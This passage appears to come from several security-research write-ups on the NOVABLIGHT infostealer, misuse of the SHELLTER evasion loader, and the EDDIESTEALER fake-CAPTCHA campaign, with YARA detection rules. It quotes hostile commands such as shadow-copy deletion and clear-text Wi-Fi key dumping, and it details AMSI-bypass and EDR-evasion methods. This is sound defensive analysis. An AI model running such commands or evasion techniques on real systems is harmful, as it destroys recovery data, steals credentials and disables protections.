The malware can sabotage system recovery by disabling the Windows Recovery Environment (reagentc /disable) and deleting all Volume Shadow Copies (vssadmin delete shadows /all) when the antireset flag is enabled in the configuration.

Blocking file deletion

Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through icacls “${filePath}” /deny ${currentUser}:(DE,DC) where DE denies delete rights and DC prevents deletion via the parent folder and optionally creating a pop-up message box containing a “troll” message.

Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: Administrators, Power Users, Remote Desktop Users, Administrateurs.

Clipboard address substitution

The malware implements a "clipper" module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.

Electron application injections

NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*, targeting applications such as:

• Discord client
• Exodus wallet
• Mullvad VPN client
• Atomic wallet
• Mailspring email client

We were able to retrieve all of the modules from a public GitHub repository.

The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks Program Files\\Mullvad VPN\\resources\\app.asar into a temporary directory, fetches a backdoored version of account.js from https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s, overwrites the source file account.js, and finally repacks it. While it might still work for older versions of Mullvad such as 2025.4, this does not seem to work on the latest version of Mullvad.

In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.
This is what main/index.js looks like in a legitimate release of Exodus 25.28.4:

In the trojanized index.js, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.

Chrome sensitive data extraction

For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip.

The GitHub repository attempts to masquerade as a Minecraft voting management tool.

However, the zip file bin.zip contains the compiled code (decrypt.exe and chrome_decrypt.dll) of version 0.11.0 of the Chrome App-bound decrypter PoC project by xaitax.

System enumeration

Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.

• captureSystemInfo(): Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.
• Output: *configured_path*/System Info.txt

• captureScreen(): Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
  • Method: Utilizes the screenshot-desktop library.
  • Output: A timestamped image file (e.g., configured_path/hostname_2025-10-26_14-30-00.png`).
• captureTaskList(): Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
  • Method: Executes the command tasklist /FO CSV /NH.
  • Output: *configured_path*/TaskManagerInfo.txt
• captureAVDetails(): Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
  • Method: Executes the PowerShell command Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List
  • Output: *configured_path*/Avdetails.txt
• captureClipboardContent(): Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
  • Method: Executes the PowerShell command Get-Clipboard.
  • Output: *configured_path*/Clipboard.txt
• captureWebcamVideo(): Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
  • Method: Leverages the direct-synch-show library for video capture.
  • Output: *configured_path*/Bighead.avi
• captureWifiPasswords(): Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
  • Method: Executes the command netsh wlan show profile *wifi_ssid* key=clear for each profile.
  • Output: *configured_path*/WifiPasswords.txt
• getFilesUrgents: This functionality exfiltrate files on disk according to a set of keywords as follow: backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni, these files are archived as files.zip then sent to the C2.

Data exfiltration

There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.

The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.

The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string req in this case https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s.

If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at https://api.telegram[.]org/bot*token*/sendMessage) using a configured userId, chatId and botToken to send the stolen data.

Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.

NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:

• https://bashupload[.]com
• https://litterbox.catbox[.]moe/resources/internals/api.php
• https://tmpfiles[.]org/api/v1/upload
• https://oshi[.]at/
• http://sendfile[.]su/
• https://wsend[.]net
• https://api.gofile[.]io/servers
• https://gofile[.]io/uploadFiles
• https://rdmfile[.]eu/api/upload
• https://bamboulacity.nova-blight[.]xyz/file/

Targeted data

NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub Gist.

Obfuscation techniques

Array mapping

The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array __p_6Aeb_dlrArray with values of different types and encoding, which accounts for nearly all literal values used in the script.

After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.

String encoding

The second technique used to hide strings is the usage of base91 encoding. The function wrapper __p_xIFu_MAIN_STR is called with an integer argument.

The integer is an index of a secondary array mapping __p_9sMm_array that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine __p_xIFu_MAIN_STR_decode.

__p_xIFu_MAIN_STR_decode will then decode it using a custom alphabet:
vFAjbQox\>5?4K$m=83GYu.nBIh\<drPaN\^@%Hk:D_sSyz"ER9/p,(*JwtfO)iUl&C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7 and return the decoded string.

Access pattern obfuscation

Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.

For example, the function __p_LQ1f_flat_… is passed a flat object __p_w3Th_flat_object. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (__p_jGTR_dispatcher_26). Throughout the code, there is a pattern where the property names start with empretecerian.js, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.

Control flow obfuscation

Some of the code’s execution path is routed through a central dispatcher, __p_jGTR_dispatcher_26, in which the first argument name takes a short ID string.

Each ID is mapped to a distinct function. For example, the ID jgqatJ is referenced by the modules/init/Troll.js module and it is responsible for a “troll” popup message box.

Proxy variables

First, the obfuscation transforms function syntax to “rest parameters syntax” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function __p_xIFu_MAIN_STR_decode is not called with direct parameters. Instead, its arguments are first placed into the __p_A5wG_varMask array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index -36 of the array stores the index of the character "c" in a string stored in __p_A5wG_varMask[171].

NOVABLIGHT and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

• Obfuscated Files or Information
• Process Discovery
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: JavaScript
• Data Staged: Local Data Staging
• System Information Discovery
• File and Directory Discovery
• Screen Capture
• Clipboard Data
• Video Capture
• Virtualization/Sandbox Evasion: System Checks
• Account Access Removal
• Credentials from Password Stores: Credentials from Web Browsers
• Impair Defenses: Disable or Modify Tools
• Exfiltration Over Web Service: Exfiltration to Cloud Storage

Conclusion

NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.

Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.

Detecting NOVABLIGHT

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Infostealer_NovaBlight {
    meta:
        author = "Elastic Security"
        creation_date = "2025-07-18"
        last_modified = "2025-07-28"
        os = "Windows"
        arch = "x86"
        category_type = "Infostealer"
        family = "NovaBlight"
        threat_name = "Windows.Infostealer.NovaBlight"
        reference_sample = "d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73"

    strings:
        $a1 = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
        $a2 = "[+] Recording..." fullword
        $a3 = "[+] Capture start" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.gatewatcher.com/lab/groupe-nova-sentinel/
• https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/

Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.

Key takeaways

• Commercial evasion framework SHELLTER acquired by threat groups
• SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata
• SHELLTER employs unique capabilities to evade analysis and detection
• Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries

Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers

SHELLTER Overview

SHELLTER is a commercial evasion framework that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.

While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.

SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement safeguards to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.

In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was released on April 16, 2025.

SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.

SHELLTER Loader - Technical Details

The following sections describe capabilities that resemble some of the Shellter Project’s published Elite Exclusive Features. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.

Polymorphic Junk Code

SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.

By setting a breakpoint on VirtualAlloc in a SHELLTER-protected RHADAMANTHYS sample, we can see the call stack of this malware sample.

This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:

• GetModuleHandleA / GetProcAddress
• CreateFileMappingW / MapViewOfFile

The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.

Unhooking System Modules via File-mappings

To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of ntdll.dll via NtCreateSection and NtMapViewOfSection.

There is also a second option for unhooking by loading a clean ntll.dll from the KnownDLLs directory via NtOpenSection and NtMapViewOfSection.

Payload Encryption and Compression

SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:

• Embedded key/IV: A randomly generated key/IV pair is embedded directly within the SHELLTER payload.
• Server-fetched key/IV: The key/IV pair is fetched from an adversary-controlled server.

For samples that utilized the embedded option, we successfully recovered the underlying payload.

The encrypted blobs are located at the end of each SHELLTER payload.

The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.

In Shellter Elite v11.0, by default, payloads are compressed using the LZNT1 algorithm before being encrypted.

DLL Preloading & Call Stack Evasion

The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as advapi32.dll, wininet.dll, and crypt32.dll, to support the underlying payload’s operations. The three configurable options include:

• --Force-PreloadModules-Basic (16 general-purpose modules)
• --Force-PreloadModules-Networking (5 network-specific modules)
• --Force-PreloadModules-Custom (up to 16 user-defined modules)

These modules are being loaded through either LoadLibraryExW or LdrLoadDll. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.

Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the --Force-PreloadModules-Basic option, found in a sample that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach favored by some threats.

The following example is a list that matches the --Force-PreloadModules-Networking option found in a sample loading LUMMA.

This feature (released in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the LoadLibraryExW call while loading networking and cryptography-related libraries.

Below is an example of a procmon trace when loading wininet.dll, showing a truncated call stack:

In the same sample that has the --Force-PreloadModules-Basic flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, urlmon.dll also conceals the source of the LoadLibraryExW call for its dependencies iertutil.dll, srvcli.dll, and netutils.dll.

Unlinking of AV/EDR Modules

SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (PEB). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. PEB LDR is a structure in Windows that contains information about a process's loaded modules.

We only observed one unique module name based on its hash (different per sample), which ends up resolving to kern3l32.dll [sic].

API Hashing Obfuscation

Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the SystemTime value from the KUSER_SHARED_DATA structure at address 0x7FFE0014 to derive a dynamic XOR key.

It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.

Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.

License Check and Self-disarm

For each SHELLTER payload, there are three embedded FILETIME structures. In an example sample, these were found to be:

• License expiry datetime (2026-04-17 19:17:24.055000)
• Self-disarm datetime (2026-05-21 19:44:43.724952)
• Infection start datetime (2025-05-21 19:44:43.724952)

The license expiry check compares the current time to the license expiry datetime, setting the license_valid flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the license_valid flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.

By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded ntdll module (if present) and clearing the NTAPI lookup table, which references either the manually mapped ntdll module or the one loaded during process initialization.

While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.

It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.

Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:

rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = "Elastic Security"  
        last_modified = "2025-07-01"  
        os = "Windows"  
        family = "SHELLTER"  
        threat_name = "SHELLTER_ILLICIT_LICENSE"

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  

Memory Scan Evasion

SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:

• Decoding and re-encoding instructions at runtime
• Removal of execute permissions on inactive memory pages
• Reducing footprint, impacting in-memory signatures using YARA
• Using Windows internals structures, such as the PEB, as temporary data holding spots

SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using NtQueryVirtualMemory and NtProtectVirtualMemory.

Once the page is active, the encoded bytes can be observed at this address, 0x7FF5FFCE0000.

SHELLTER decodes this page when active through an XOR loop using the derived SystemTime key from the KUSER_SHARED_DATA structure.

Below is this same memory page (0x7FF5FFCE0000), showing the decoded trampoline stub for the syscall (ntdll_NtOpenFile).

When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.

The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.

Indirect Syscalls / Call stack Corruption

As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking syscall directly, it prepares the stack with the address of a clean syscall instruction from ntdll.dll. A ret instruction then pops this address into the RIP register, diverting execution to the syscall instruction stealthily.

Below is an example of Elastic Defend VirtualProtect events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.

Advanced VM/Sandbox Detection

SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to ZwQuerySystemInformationEx using CPUID and _bittest instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.

Debugger Detection (UM/KM)

SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the KdDebuggerEnabled flag via the _KUSER_SHARED_DATA structure.

AMSI Bypass

There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string "AMSI" with null bytes and patches conditional jumps to its opposite.

The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the CLSID_Antimalware GUID constant {fdb00e52-a214-4aa1-8fba-4357bb0072ec} within amsi.dll, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.

The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the DllGetClassObject function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing AmsiInitialize to fail with a CLASS_E_CLASSNOTAVAILABLE exception.

It then calls AmsiInitialize - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The HAMSICONTEXT obtained from AmsiInitialize contains a pointer to an IAntimalware COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function IAntimalware::Scan in this table. To neutralize it, the code searches the memory page containing the IAntimalware::Scan function for a ret instruction.

After finding a suitable gadget, it overwrites the Scan function pointer with the address of the ret gadget. The result is that any subsequent call to AmsiScanBuffer or AmsiScanString will invoke the patched vtable, jump directly to a ret instruction, and immediately return.

Vectored Exception Handler API Proxy

There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.

Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to PAGE_READONLY, and attempting to execute code there will cause a STATUS_ACCESS_VIOLATION exception, which is intended. The addresses of these trigger pages are stored in the context structure:

• api_call_trigger_page - The page that will be called to initiate the proxy.
• api_return_trigger_page - The page that the actual API will return to.

An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using RtlAddVectoredExceptionHandler. A hardcoded magic placeholder value (0xe1e2e3e4e5e6e7e8) in the handler is then overwritten with a pointer to the context structure itself.

Looking at an example callsite, if the VEH proxy is to be used, the address of GetCurrentDirectoryA will be stored into ctx_struct->target_API_function, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a STATUS_ACCESS_VIOLATION exception.

Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:

• Save the original return address
• Overwrite the return address on the stack with the address of the return trigger page
• Sets the RIP register to the actual API address saved previously in ctx_struct->target_API_function.

The GetCurrentDirectoryA call is then executed. When it finishes, it jumps to the return trigger page, causing a second STATUS_ACCESS_VIOLATION exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, RIP is set to the original return address and the control flow returns to the original call site.

Campaigns

In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.

LUMMA

LUMMA infostealer was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to verify (using ANY.RUN) that related files were being hosted on the MediaFire file hosting platform.

Want-to-Sell

On May 16th, Twitter/X user @darkwebinformer posted a screenshot with the caption:

🚨Shellter Elite v11.0 up for sale on a popular forum

“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.

ARECHCLIENT2

Starting around May, we observed campaigns targeting content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (.rar), which contain legitimate promotional content packaged with a SHELLTER-protected executable.

This underlying executable shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see samples with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.

The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to 185.156.72[.]80:15847, which was previously identified by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.

RHADAMANTHYS

These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.

One of the files that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.

This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.

SHELLTER Unpacker

Elastic Security Labs is releasing a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.

As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.

For safety reasons, this tool should only be executed within an isolated virtual machine. During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.

Conclusion

Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.

We expect:

• This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.
• The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
  • Any new tooling will remain a target for malicious actors.
• More advanced threats will analyze these samples and incorporate features into their toolsets.

Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Collection
• Defense Evasion
• Execution
• Initial Access
• Resource Development

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Application Layer Protocol
• Data from Local System
• Process Injection: Thread Execution Hijacking
• Obfuscated Files or Information: Junk Code Insertion
• Content Injection
• Obtain Capabilities

Mitigating SHELLTER

Prevention

• Shellcode from Unusual Microsoft Signed Module
• Unbacked Shellcode from Unsigned Module
• Shellcode Execution from Low Reputation Module
• Potential Evasion via Invalid Code Signature
• Thread Suspension from Unbacked Memory
• Suspicious Executable Memory Mapping

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_Shellter {  
    meta:  
        author = "Elastic Security"  
        creation_date = "2025-06-30"  
        last_modified = "2025-06-30"  
        os = "Windows"  
        arch = "x86"  
        category_type = "Trojan"  
        family = "Shellter"  
        threat_name = "Windows.Trojan.Shellter"  
        reference_sample = "c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30"

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://x.com/DarkWebInformer/status/1923472392157790700
• https://www.shellterproject.com/shellter-editions-feature-comparison-table/
• https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf
• https://github.com/elastic/labs-releases/tree/main/tools/shellter

Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.

This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.

Key takeaways

• Fake CAPTCHA campaign loads EDDIESTEALER
• EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts
• EDDIESTEALER receives a task list from the C2 server identifying data to target

Intial access

Overview

Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like "Verify you are a human" or "I'm not a robot," blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing GHOSTPULSE in late 2024.

From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen.

Mimicking Google's reCAPTCHA verification interface, the malware uses the document.execCommand("copy") method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.

This command silently downloads a second-stage payload (gverify.js) from the attacker-controlled domain hxxps://llll.fit/version/ and saves it to the user’s Downloads folder.

Finally, the malware executes gverify.js using cscript in a hidden window.

